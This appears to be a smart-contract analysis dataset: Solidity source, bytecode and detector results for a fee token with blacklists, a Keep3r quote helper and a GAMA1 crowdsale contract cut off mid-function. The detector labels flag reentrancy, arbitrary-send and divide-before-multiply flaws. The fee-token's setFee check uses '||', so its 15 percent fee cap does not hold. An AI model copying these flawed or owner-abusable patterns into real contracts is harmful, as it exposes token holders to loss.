function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<= 15||taxFeeOnSell<=15);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610574578063dd62ed3e14610594578063ea1644d5146105da578063f2fde38b146105fa57600080fd5b8063a2a957bb146104ef578063a9059cbb1461050f578063bfd792841461052f578063c3c8cd801461055f57600080fd5b80638f70ccf7116100d15780638f70ccf71461046c5780638f9a55c01461048c57806395d89b41146104a257806398a5c315146104cf57600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638203f5fe146104395780638da5cb5b1461044e57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101b65780631694505e1461027d57806318160ddd146102b557806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024d57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b32565b61061a565b005b34801561021557600080fd5b5060408051808201909152600981526802630bb309024b73a960bd1b60208201525b6040516102449190611bf7565b60405180910390f35b34801561025957600080fd5b5061026d610268366004611c4c565b6106b9565b6040519015158152602001610244565b34801561028957600080fd5b5060135461029d906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102c157600080fd5b50670de0b6b3a76400005b604051908152602001610244565b3480156102e657600080fd5b5061026d6102f5366004611c78565b6106d0565b34801561030657600080fd5b506102cc60175481565b34801561031c57600080fd5b5060405160098152602001610244565b34801561033857600080fd5b5060145461029d906001600160a01b031681565b34801561035857600080fd5b50610207610367366004611cb9565b610739565b34801561037857600080fd5b50610207610387366004611ce6565b610784565b34801561039857600080fd5b506102076107cc565b3480156103ad57600080fd5b506102cc6103bc366004611cb9565b6107f9565b3480156103cd57600080fd5b5061020761081b565b3480156103e257600080fd5b506102076103f1366004611d01565b61088f565b34801561040257600080fd5b506102cc60155481565b34801561041857600080fd5b506102cc610427366004611cb9565b60116020526000908152604090205481565b34801561044557600080fd5b506102076108d1565b34801561045a57600080fd5b506000546001600160a01b031661029d565b34801561047857600080fd5b50610207610487366004611ce6565b610a89565b34801561049857600080fd5b506102cc60165481565b3480156104ae57600080fd5b506040805180820190915260048152634c41564160e01b6020820152610237565b3480156104db57600080fd5b506102076104ea366004611d01565b610ae8565b3480156104fb57600080fd5b5061020761050a366004611d1a565b610b17565b34801561051b57600080fd5b5061026d61052a366004611c4c565b610b6f565b34801561053b57600080fd5b5061026d61054a366004611cb9565b60106020526000908152604090205460ff1681565b34801561056b57600080fd5b50610207610b7c565b34801561058057600080fd5b5061020761058f366004611d4c565b610bb2565b3480156105a057600080fd5b506102cc6105af366004611dd0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e657600080fd5b506102076105f5366004611d01565b610c53565b34801561060657600080fd5b50610207610615366004611cb9565b610c82565b6000546001600160a01b0316331461064d5760405162461bcd60e51b815260040161064490611e09565b60405180910390fd5b60005b81518110156106b55760016010600084848151811061067157610671611e3e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ad81611e6a565b915050610650565b5050565b60006106c6338484610d6c565b5060015b92915050565b60006106dd848484610e90565b61072f843361072a85604051806060016040528060288152602001611f82602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cc565b610d6c565b5060019392505050565b6000546001600160a01b031633146107635760405162461bcd60e51b815260040161064490611e09565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ae5760405162461bcd60e51b815260040161064490611e09565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ec57600080fd5b476107f681611406565b50565b6001600160a01b0381166000908152600260205260408120546106ca90611440565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161064490611e09565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161064490611e09565b6611c37937e0800081116108cc57600080fd5b601555565b6000546001600160a01b031633146108fb5760405162461bcd60e51b815260040161064490611e09565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610960573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109849190611e83565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f59190611e83565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a669190611e83565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab35760405162461bcd60e51b815260040161064490611e09565b601454600160a01b900460ff1615610aca57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b125760405162461bcd60e51b815260040161064490611e09565b601755565b6000546001600160a01b03163314610b415760405162461bcd60e51b815260040161064490611e09565b600f82111580610b525750600f8111155b610b5b57600080fd5b600893909355600a91909155600955600b55565b60006106c6338484610e90565b6012546001600160a01b0316336001600160a01b031614610b9c57600080fd5b6000610ba7306107f9565b90506107f6816114c4565b6000546001600160a01b03163314610bdc5760405162461bcd60e51b815260040161064490611e09565b60005b82811015610c4d578160056000868685818110610bfe57610bfe611e3e565b9050602002016020810190610c139190611cb9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4581611e6a565b915050610bdf565b50505050565b6000546001600160a01b03163314610c7d5760405162461bcd60e51b815260040161064490611e09565b601655565b6000546001600160a01b03163314610cac5760405162461bcd60e51b815260040161064490611e09565b6001600160a01b038116610d115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610644565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610644565b6001600160a01b038216610e2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610644565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610644565b6001600160a01b038216610f565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610644565b60008111610fb85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610644565b6000546001600160a01b03848116911614801590610fe457506000546001600160a01b03838116911614155b156112c557601454600160a01b900460ff1661107d576000546001600160a01b0384811691161461107d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610644565b6015548111156110cf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610644565b6001600160a01b03831660009081526010602052604090205460ff1615801561111157506001600160a01b03821660009081526010602052604090205460ff16155b6111695760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610644565b6014546001600160a01b038381169116146111ee576016548161118b846107f9565b6111959190611ea0565b106111ee5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610644565b60006111f9306107f9565b6017546015549192508210159082106112125760155491505b8080156112295750601454600160a81b900460ff16155b801561124357506014546001600160a01b03868116911614155b80156112585750601454600160b01b900460ff165b801561127d57506001600160a01b03851660009081526005602052604090205460ff16155b80156112a257506001600160a01b03841660009081526005602052604090205460ff16155b156112c2576112b0826114c4565b4780156112c0576112c047611406565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130757506001600160a01b03831660009081526005602052604090205460ff165b8061133957506014546001600160a01b0385811691161480159061133957506014546001600160a01b03848116911614155b15611346575060006113c0565b6014546001600160a01b03858116911614801561137157506013546001600160a01b03848116911614155b1561138357600854600c55600954600d555b6014546001600160a01b0384811691161480156113ae57506013546001600160a01b03858116911614155b156113c057600a54600c55600b54600d555b610c4d8484848461163e565b600081848411156113f05760405162461bcd60e51b81526004016106449190611bf7565b5060006113fd8486611eb8565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b5573d6000803e3d6000fd5b60006006548211156114a75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610644565b60006114b161166c565b90506114bd838261168f565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150c5761150c611e3e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611565573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115899190611e83565b8160018151811061159c5761159c611e3e565b6001600160a01b0392831660209182029290920101526013546115c29130911684610d6c565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fb908590600090869030904290600401611ecf565b600060405180830381600087803b15801561161557600080fd5b505af1158015611629573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061164b5761164b6116d1565b6116568484846116ff565b80610c4d57610c4d600e54600c55600f54600d55565b60008060006116796117f6565b9092509050611688828261168f565b9250505090565b60006114bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611836565b600c541580156116e15750600d54155b156116e857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171187611864565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174390876118c1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117729086611903565b6001600160a01b03891660009081526002602052604090205561179481611962565b61179e84836119ac565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611811828261168f565b82101561182d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118575760405162461bcd60e51b81526004016106449190611bf7565b5060006113fd8486611f40565b60008060008060008060008060006118818a600c54600d546119d0565b925092509250600061189161166c565b905060008060006118a48e878787611a25565b919e509c509a509598509396509194505050505091939550919395565b60006114bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cc565b6000806119108385611ea0565b9050838110156114bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610644565b600061196c61166c565b9050600061197a8383611a75565b306000908152600260205260409020549091506119979082611903565b30600090815260026020526040902055505050565b6006546119b990836118c1565b6006556007546119c99082611903565b6007555050565b60008080806119ea60646119e48989611a75565b9061168f565b905060006119fd60646119e48a89611a75565b90506000611a1582611a0f8b866118c1565b906118c1565b9992985090965090945050505050565b6000808080611a348886611a75565b90506000611a428887611a75565b90506000611a508888611a75565b90506000611a6282611a0f86866118c1565b939b939a50919850919650505050505050565b600082600003611a87575060006106ca565b6000611a938385611f62565b905082611aa08583611f40565b146114bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610644565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b8035611b2d81611b0d565b919050565b60006020808385031215611b4557600080fd5b823567ffffffffffffffff80821115611b5d57600080fd5b818501915085601f830112611b7157600080fd5b813581811115611b8357611b83611af7565b8060051b604051601f19603f83011681018181108582111715611ba857611ba8611af7565b604052918252848201925083810185019188831115611bc657600080fd5b938501935b82851015611beb57611bdc85611b22565b84529385019392850192611bcb565b98975050505050505050565b600060208083528351808285015260005b81811015611c2457858101830151858201604001528201611c08565b81811115611c36576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c5f57600080fd5b8235611c6a81611b0d565b946020939093013593505050565b600080600060608486031215611c8d57600080fd5b8335611c9881611b0d565b92506020840135611ca881611b0d565b929592945050506040919091013590565b600060208284031215611ccb57600080fd5b81356114bd81611b0d565b80358015158114611b2d57600080fd5b600060208284031215611cf857600080fd5b6114bd82611cd6565b600060208284031215611d1357600080fd5b5035919050565b60008060008060808587031215611d3057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6157600080fd5b833567ffffffffffffffff80821115611d7957600080fd5b818601915086601f830112611d8d57600080fd5b813581811115611d9c57600080fd5b8760208260051b8501011115611db157600080fd5b602092830195509350611dc79186019050611cd6565b90509250925092565b60008060408385031215611de357600080fd5b8235611dee81611b0d565b91506020830135611dfe81611b0d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e7c57611e7c611e54565b5060010190565b600060208284031215611e9557600080fd5b81516114bd81611b0d565b60008219821115611eb357611eb3611e54565b500190565b600082821015611eca57611eca611e54565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f1f5784516001600160a01b031683529383019391830191600101611efa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f5d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f7c57611f7c611e54565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9775fea9c176e7bd22e2dc091b8867c58ab324e63bfea61a4c70809e804226b64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,615 |
0xe84418d059aaa8c23f12f30728907b5d5c8ca8c6
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add: +");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "sub: -");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul: *");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "div: /");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "mod: %");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
interface IChainLinkFeed {
function latestAnswer() external view returns (int256);
}
interface IKeep3rV1 {
function totalBonded() external view returns (uint);
function bonds(address keeper, address credit) external view returns (uint);
}
contract Keep3rV1Helper {
using SafeMath for uint;
IChainLinkFeed public constant FASTGAS = IChainLinkFeed(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C);
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
uint constant public BOOST = 25;
uint constant public BASE = 10;
uint constant public TARGETBOND = 100e18;
function getQuoteLimitFor(address origin, uint gasUsed) external view returns (uint) {
uint _gas = gasUsed.mul(uint(FASTGAS.latestAnswer()));
_gas = _gas.mul(BOOST).div(BASE); // increase by 2.5
uint _bond = Math.min(KP3R.bonds(origin, address(KP3R)), TARGETBOND);
return _gas.mul(_bond).div(TARGETBOND);
}
function getQuoteLimit(uint gasUsed) external view returns (uint) {
uint _gas = gasUsed.mul(uint(FASTGAS.latestAnswer()));
_gas = _gas.mul(BOOST).div(BASE); // increase by 2.5
uint _bond = Math.min(KP3R.bonds(tx.origin, address(KP3R)), TARGETBOND);
return _gas.mul(_bond).div(TARGETBOND);
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063525ea6311161005b578063525ea631146100ec5780638e686d5614610109578063dbbc4a5714610111578063ec342ad0146101195761007d565b80630421d7f21461008257806305e0b9a0146100c05780632a84797f146100e4575b600080fd5b6100ae6004803603604081101561009857600080fd5b506001600160a01b038135169060200135610121565b60408051918252519081900360200190f35b6100c8610289565b604080516001600160a01b039092168252519081900360200190f35b6100ae6102a1565b6100ae6004803603602081101561010257600080fd5b50356102a6565b6100ae61038e565b6100c861039b565b6100ae6103b3565b6000806101a773169e633a2d1e6c10dd91238ba11c4a708dfef37c6001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561017457600080fd5b505afa158015610188573d6000803e3d6000fd5b505050506040513d602081101561019e57600080fd5b505184906103b8565b90506101bf600a6101b98360196103b8565b90610417565b6040805163a39744b560e01b81526001600160a01b0387166004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a44602482018190529151929350600092610265929163a39744b5916044808301926020929190829003018186803b15801561022a57600080fd5b505afa15801561023e573d6000803e3d6000fd5b505050506040513d602081101561025457600080fd5b505168056bc75e2d63100000610442565b905061027e68056bc75e2d631000006101b984846103b8565b925050505b92915050565b731ceb5cb57c4d4e2b2433641b95dd330a33185a4481565b601981565b6000806102f973169e633a2d1e6c10dd91238ba11c4a708dfef37c6001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561017457600080fd5b905061030b600a6101b98360196103b8565b6040805163a39744b560e01b8152326004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a4460248201819052915192935060009261036d929163a39744b5916044808301926020929190829003018186803b15801561022a57600080fd5b905061038668056bc75e2d631000006101b984846103b8565b949350505050565b68056bc75e2d6310000081565b73169e633a2d1e6c10dd91238ba11c4a708dfef37c81565b600a81565b6000826103c757506000610283565b828202828482816103d457fe5b0414610410576040805162461bcd60e51b815260206004820152600660248201526536bab61d101560d11b604482015290519081900360640190fd5b9392505050565b60006104108383604051806040016040528060068152602001656469763a202f60d01b815250610458565b60008183106104515781610410565b5090919050565b600081836104e45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156104a9578181015183820152602001610491565b50505050905090810190601f1680156104d65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816104f057fe5b049594505050505056fea26469706673582212204c62d731df18bc14ffd0a6b875705aa8ef7ec4b61f73b8855ab8d239364c8bbe64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,616 |
0x8e4b7abe61d8031c77019efd628eab371bf42e2d
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GAMA1Token is Ownable, ERC20Basic {
using SafeMath for uint256;
string public constant name = "Gamayun round 1 token";
string public constant symbol = "GAMA1";
uint8 public constant decimals = 18;
bool public mintingFinished = false;
mapping(address => uint256) public balances;
address[] public holders;
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
if (balances[_to] == 0) {
holders.push(_to);
}
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Current token is not transferred.
* After start official token sale GAMA, you can exchange your tokens
*/
function transfer(address, uint256) public returns (bool) {
revert();
return false;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
/**
* @title Crowdsale GAMA token
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
uint256 public constant rate = 10000; // How many token units a buyer gets per wei
uint256 public constant cap = 350000000 ether; // Maximum amount of funds
bool public isFinalized = false;
uint256 public endTime = 1543622399; // End timestamps where investments are allowed
// Thu Nov 15 23:59:59 2018
GAMA1Token public token; // GAMA1 token itself
address public wallet; // Wallet of funds
uint256 public weiRaised; // Amount of raised money in wei
uint256 public firstBonus = 10;
uint256 public secondBonus = 20;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
function Crowdsale (GAMA1Token _GAMA1, address _wallet) public {
assert(address(_GAMA1) != address(0));
assert(_wallet != address(0));
assert(endTime > now);
assert(rate > 0);
assert(cap > 0);
token = _GAMA1;
wallet = _wallet;
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = tokensForWei(weiAmount);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
